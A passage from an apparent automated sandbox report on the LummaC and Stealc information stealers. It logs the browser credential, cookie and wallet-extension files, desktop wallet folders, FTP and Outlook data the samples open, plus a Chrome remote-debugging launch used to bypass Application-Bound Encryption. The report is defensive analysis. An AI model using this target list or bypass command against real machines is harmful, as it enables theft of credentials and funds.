Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000D67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger LiveE

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000001D.00000002.2698341570.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2675831416.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ec3f41365f.exe PID: 8164, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ec3f41365f.exe PID: 8164, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1971911625.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1973362137.000000000149C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452584570.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
